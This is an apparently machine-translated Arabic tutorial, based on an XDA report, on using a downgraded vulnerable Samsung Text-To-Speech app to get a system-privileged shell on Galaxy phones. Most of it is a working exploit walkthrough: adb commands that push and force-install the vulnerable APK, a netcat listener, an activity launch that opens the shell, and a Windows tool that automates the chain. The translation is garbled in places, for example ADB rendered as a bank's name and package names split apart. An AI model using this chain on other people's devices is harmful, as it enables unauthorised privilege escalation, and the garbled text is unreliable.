كيفية الوصول إلى غلاف النظام على أي جهاز Samsung Galaxy

click fraud protection

روابط سريعة

  • المتطلبات الأساسية
  • كيفية استغلال أي جهاز Samsung Galaxy للوصول إلى غلاف النظام
  • تَحَقّق
  • خاتمة

في أول يوم اثنين من كل شهر، تقوم Google بنشر نشرة أمان Android. يكشف عن جميع الثغرات الأمنية المخففة عبر المكونات المختلفة لنظام التشغيل Android بالإضافة إلى نواة Linux وتصحيحاتها المقدمة من Google نفسها أو من قبل أطراف ثالثة أخرى لذلك تاريخ. تتمتع الشركات المصنعة الأصلية الكبيرة مثل Samsung بنظام Android الخاص بها، لذا فهي تختار إدراج التصحيحات والتحديثات الخاصة بها في التحديثات الأمنية أيضًا.

مع ذلك، من الصعب جدًا الاهتمام بكل ثغرة. يوجد عدد كبير من نواقل الهجوم، وفي بعض الأحيان يمكنك إنشاء سلسلة استغلال خاصة بك بناءً عليها ثغرة أمنية معروفة مسبقًا لمجرد أن لديك طريقة جديدة للتحايل على إحدى ثغرة الضمانات. هذا هو بالضبط ما قاله عضو XDA الكبير K0mraid3 لقد فعل ذلك من خلال ثغرة أمنية عمرها أربع سنوات، والتي سمحت له بالوصول إلى غلاف النظام على كل جهاز من أجهزة Samsung Galaxy - بما في ذلك أحدث الأجهزة الرئيسية - المتوفرة. في حين أنها ليست هي نفسها وجود امتيازات الجذر، إنه تصعيد امتياز محلي عالي بما فيه الكفاية.

تكمن نقطة الدخول الأساسية للثغرة الأمنية في ميزة تحويل النص إلى كلام من Samsung (اسم الحزمة: com.samsung. SMT)، وهو تطبيق نظام تم تحميله مسبقًا ويمكن العثور عليه على كل جهاز Samsung Galaxy. تتمثل الفكرة في الرجوع إلى الإصدار المثبت من التطبيق إلى إصدار محدد ضعيف (v3.0.02.2 على وجه الدقة)، ثم أجبره على تحميل مكتبة، والتي بدورها تفتح غلافًا بامتياز النظام (UID 1000).

إذا كنت تريد معرفة المزيد عن الاستغلال، فتأكد من ذلك شرح آدم كونواي، المحرر الفني الرئيسي لـ XDA. لقد تحدث إلى K0mraid3 من أجل فهم النطاق الكامل لهذا الاستغلال وكيفية عمله.

  1. للتكرار، هذا ليس وصولًا جذريًا (UID 0)، لكن الوصول إلى shell النظام قوي بما يكفي لتنفيذ مجموعة من الثنائيات المقيدة.
  2. يتطلب إثبات مفهوم K0mraid3 وجود ملف APK مساعد، ويجب عليك تشغيله مرة واحدة على الأقل قبل إطلاق سلسلة الاستغلال.
  3. واجهة مستخدم واحدة، أي إجراءات توفير الطاقة المضمنة في واجهة Android المخصصة من سامسونج يمكن أن تكون مزعجة، لأنها قد تعيق الاتصال بين تطبيق تحويل النص إلى كلام (TTS)، وملف APK المساعد، والصدفة. وبالتالي، نقترح تعيين ملف تعريف توفير الطاقة على "غير مقيد" للتطبيقات مسبقًا.

المتطلبات الأساسية

  1. قم بتنزيل النسخة المترجمة مسبقًا من البرنامج المستغل من موضوع منتدى XDA أو مستودع GitHub الرسمي المرتبط أدناه: استغلال قذيفة النظام K0mraid3s
  2. قم باستخراج الأرشيف في مكان ما وستجد النسخة الضعيفة من Samsung Text-To-Speech APK (samsungTTSVULN2.apk)، والتطبيق المساعد (Komraid3s_POC_Vx.x.apk)، وملف Windows القابل للتنفيذ المسمى systemshell-vx.x.exe.
  3. تأكد من أن أحدث إصدار من بنك التنمية الآسيوي تم تثبيته على جهاز الكمبيوتر/Mac/Chromebook الخاص بك. تذكر أيضًا أن تثبيت/تحديث برامج تشغيل Samsung USB إذا كنت من مستخدمي Windows.

كيفية استغلال أي جهاز Samsung Galaxy للوصول إلى غلاف النظام

الطريقة اليدوية

  1. قم بتوصيل جهاز Galaxy المستهدف بجهاز الكمبيوتر الخاص بك مع تشغيل تصحيح أخطاء USB، وتأكد من إمكانية اكتشافه بواسطة ADB، ثم قم بتثبيت تطبيق المساعد.
    adb install Komraid3s_POC_Vx.x.apk
    • كما ذكرنا سابقًا، افتح تطبيق المساعد مرة واحدة على الأقل قبل المتابعة إلى الخطوة التالية.
  2. الآن ادفع الإصدار الضعيف من تطبيق Samsung TTS إلى /data/local/tmp وقم بتغيير أذوناته:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. أعد تشغيل الجهاز. بمجرد ظهورك على الشاشة الرئيسية، قم بتشغيل الأمر التالي لاستبدال الإصدار المثبت بالفعل من تطبيق Samsung TTS بالإصدار الضعيف:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • إذا سارت الأمور على ما يرام، فمن المفترض أن ترى رسالة "النجاح" على وحدة التحكم.
  4. افتح غلافًا على الجهاز المستهدف عن طريق فتح نافذة طرفية أخرى وتنفيذها قذيفة بنك التنمية الاسيوى، ثم قم بتنفيذ Netcat الثنائي، واستمع للاتصال الوارد على المنفذ 9997 باستخدام الأمر التالي:
    adb shell nc -lp 9997
  5. في هذه المرحلة، نحتاج إلى تنفيذ نشاط محدد لتطبيق Samsung TTS، والذي سيفتح لنا غلاف النظام.
    • استخدم تطبيقًا تابعًا لجهة خارجية مثل هذا لإنشاء اختصار لـ "com.samsung. سمت/.gui. نشاط "قائمة التنزيل".
    • يمكنك أيضًا استخدام مدير الأنشطة الخاص بنظام Android (am) للقيام بنفس الشيء. في هذه الحالة، يمكنك تنفيذ ذلك عبر ADB (adb shell am start -n com.samsung. سمت/.gui. DownloadList) أو استخدم تطبيق محاكي طرفي على هاتفك/جهازك اللوحي مثل Termux وقم بتشغيل الأمر التالي:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. قم بالتبديل مرة أخرى إلى الغلاف الأول، وسترى مطالبة جديدة بامتياز النظام (UID 1000).

الطريقة الآلية

لتسهيل الأمور، يوفر K0mraid3 أيضًا تطبيق واجهة المستخدم الرسومية سهل الاستخدام لأتمتة معظم المهام. ضع في اعتبارك أن تطبيق GUI مخصص لنظام التشغيل Windows فقط، لذا إذا كنت من مستخدمي Linux/macOS، فمن الأفضل الالتزام بالطريقة اليدوية.

  1. قم بتوصيل جهاز Galaxy المستهدف بجهاز الكمبيوتر الخاص بك مع تشغيل تصحيح أخطاء USB، وتأكد من إمكانية اكتشافه بواسطة ADB، ثم قم بتثبيت تطبيق المساعد.
    adb install Komraid3s_POC_Vx.x.apk
    • كما ذكرنا سابقًا، افتح تطبيق المساعد مرة واحدة على الأقل قبل المتابعة إلى الخطوة التالية.
  2. مع اكتشاف الجهاز المستهدف بواسطة ADB، قم بتشغيل systemshell-vx.x.exe على الكمبيوتر المضيف.
  3. انقر على زر "بدء شل". سيقوم التطبيق تلقائيًا بالرجوع إلى إصدار أقدم من تطبيق Samsung TTS ويحاول فتح غلاف النظام.
    • على هاتفك/جهازك اللوحي، قد ترى تطبيق TTS يطالبك بتنزيل بعض البيانات الصوتية. ليست هناك حاجة للتفاعل مع هذه الخيارات، حيث لا علاقة لها بالاستغلال.
    • في حالة توقف التطبيق أو فشله في فتح نافذة الصدفة بعد مرور بعض الوقت، أغلقها وأعد تشغيل جهاز Galaxy المستهدف وابدأ من جديد.
    • يمكن لتطبيق Galaxy Store تحديث و/أو إعادة تعيين ملف تعريف توفير الطاقة لتطبيق TTS تلقائيًا في الخلفية، لذا تأكد من التحقق منه قبل بدء العملية من البداية.

تَحَقّق

بمجرد حصولك على الوصول إلى Shell، يمكنك التحقق من مستوى الامتياز باستخدام أحد الأوامر أدناه:

  • whoami
    • يجب أن يكون الإخراج "النظام"
  • id -u
    • يجب أن يكون الناتج "1000"

خاتمة

الطريقة النموذجية لتحقيق الوصول إلى الجذر على جهاز Android هي فتح أداة تحميل التشغيل أولاً، مما يسمح لك بتشغيل ثنائيات الطرف الثالث. نظرًا لأن نموذج أمان Android ينهار بشكل أساسي مع الجذر، فإن هذه الخطوة تعمل عمدًا على تعطيل إحدى ميزات الأمان الرئيسية على الجهاز، والتي هذا هو السبب وراء قيام المستخدم بالسماح بحدوث ذلك بشكل صريح عن طريق تمكين التبديل في خيارات المطور ثم إصدار أمر إلغاء القفل إلى محمل الإقلاع. بمجرد إلغاء قفل أداة تحميل التشغيل، يمكن للمستخدم تقديم ثنائي مستخدم متميز للنظام وأيضًا تطبيق إدارة مستخدم متميز (مثل Magisk) للتحكم في العمليات التي يمكنها الوصول إلى الجذر.

مع استغلال نظام Shell المذكور أعلاه، لا يتعين على المستخدم إلغاء قفل أداة تحميل التشغيل للحصول على امتياز متصاعد. على الرغم من أنه ليس جذرًا، إلا أن مستخدم "النظام" قادر بدرجة كافية على الوصول إلى عدد من الأقسام ذات المستوى المنخفض (مثل مثل /efs)، ابدأ تشغيل العديد من أدوات الخدمة وتصحيح الأخطاء، وقم بتغيير العديد من قيم الخصائص المحمية - كل ذلك دون أي تعثر نوكس. هذه الأمثلة تتطرق فقط إلى طرق قليلة؛ يمكن للممثل الخبيث أن يجمع هذا مع نقاط الضعف الأخرى ويخرج بمزيد من الإجراءات الشائنة.

سيتعين علينا أن ننتظر ونرى كيف ستتعامل شركتا Google وSamsung مع هذا السيناريو. وفي كلتا الحالتين، ربما ينبغي عليك تعطيل أو إزالة تطبيق Samsung Text-To-Speech في الوقت الحالي.